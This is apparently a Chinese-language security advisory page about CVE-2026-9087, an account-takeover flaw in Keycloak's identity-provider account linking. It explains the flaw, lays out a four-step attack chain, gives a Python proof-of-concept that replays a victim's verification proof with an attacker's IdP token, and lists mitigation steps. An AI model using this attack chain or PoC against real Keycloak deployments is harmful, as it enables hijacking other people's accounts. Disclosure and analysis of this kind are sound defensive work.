IPBUF安全漏洞报告
English
CVE-2026-9087 CVSS 6.4 中危

CVE-2026-9087 Keycloak 账户接管漏洞

披露日期: 2026-05-20

漏洞信息

漏洞编号
CVE-2026-9087
漏洞类型
身份验证绕过
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Keycloak

相关标签

Keycloak账户接管身份验证绕过CVE-2026-9087

漏洞概述

Keycloak在处理跨会话验证机制时存在安全漏洞。系统生成的验证证明仅依赖于本地用户ID和身份提供者别名作为键值,而未能有效绑定实际被验证的上游身份信息。这一缺陷使得同一身份提供者下的其他上游账户能够复用该验证证明,进而将受害者本地账户链接至攻击者控制的外部账户,导致严重的账户接管风险。

技术细节

该漏洞的核心在于Keycloak在实现账户链接功能时的逻辑设计缺陷。当用户尝试将本地Keycloak账户与外部身份提供者账户关联时,系统需要验证用户对上游账户的所有权。然而,验证证明的生成机制仅使用了(local userId, idpAlias)作为唯一标识,缺失了对具体上游用户标识(如Subject ID)的严格绑定。攻击者若拥有同一IdP下的账户,即可通过捕获或利用竞态条件获取受害者的验证证明。在攻击阶段,攻击者利用同一IdP下的自身账户,提交受害者的验证证明。由于服务端仅校验userId和idpAlias的匹配性,而未校验证明对应的特定上游身份,系统会错误地接受该请求。结果导致攻击者的外部IdP账户被绑定到受害者的本地Keycloak账户上,攻击者随后可凭此直接登录受害者账户,造成权限绕过和数据泄露。

攻击链分析

STEP 1
步骤1:侦察准备
攻击者确认目标使用Keycloak,并拥有同一身份提供者(如Google)的有效账户。
STEP 2
步骤2:诱导或监听
攻击者等待受害者发起账户链接流程,或通过社会工程学诱导受害者进行该操作,同时捕获或推算出生成的验证证明。
STEP 3
步骤3:重放证明
攻击者使用自己在同一IdP下的账户,向服务器提交受害者的验证证明,请求建立账户链接。
STEP 4
步骤4:账户接管
由于服务端未校验证明与上游具体身份的绑定关系,请求通过验证。攻击者的外部账户成功链接至受害者本地账户,实现接管。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Conceptual Proof of Concept for CVE-2026-9087 # Demonstrating the lack of binding between the proof and the upstream identity. def exploit_keycloak_linking(target_url, victim_user_id, idp_alias, attacker_idp_token): """ Attempts to link an attacker's IdP account to a victim's local Keycloak account by replaying a verification proof. """ # Endpoint for linking the account (hypothetical) link_endpoint = f"{target_url}/realms/master/protocol/openid-connect/link" # The vulnerable proof code, typically obtained by the victim during their linking flow # In a real scenario, this might be sniffed or guessed if not sufficiently random victim_proof_code = "captured_proof_token_abc123" headers = { "Authorization": f"Bearer {attacker_idp_token}", "Content-Type": "application/json" } payload = { "userId": victim_user_id, "idpAlias": idp_alias, "proof": victim_proof_code # The flaw: The server checks (userId, idpAlias) but ignores which upstream account generated it } try: print(f"[*] Attempting to hijack link for user {victim_user_id} using IdP {idp_alias}...") response = requests.post(link_endpoint, json=payload, headers=headers) if response.status_code == 200: print("[+] Success! Attacker's IdP account linked to victim's local account.") print("[+] Attacker can now log in as the victim.") else: print(f"[-] Failed. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}") # Usage # exploit_keycloak_linking("https://keycloak.example.com", "victim-uuid-123", "google", "attacker-google-token")

影响范围

Keycloak (具体受影响版本请参考官方安全公告)

防御指南

临时缓解措施
建议管理员立即检查系统日志,寻找是否存在非预期的账户链接行为。在应用官方补丁之前,可以限制通过身份提供者进行的新账户链接操作,并强制要求用户进行额外的身份验证(如MFA)以降低风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表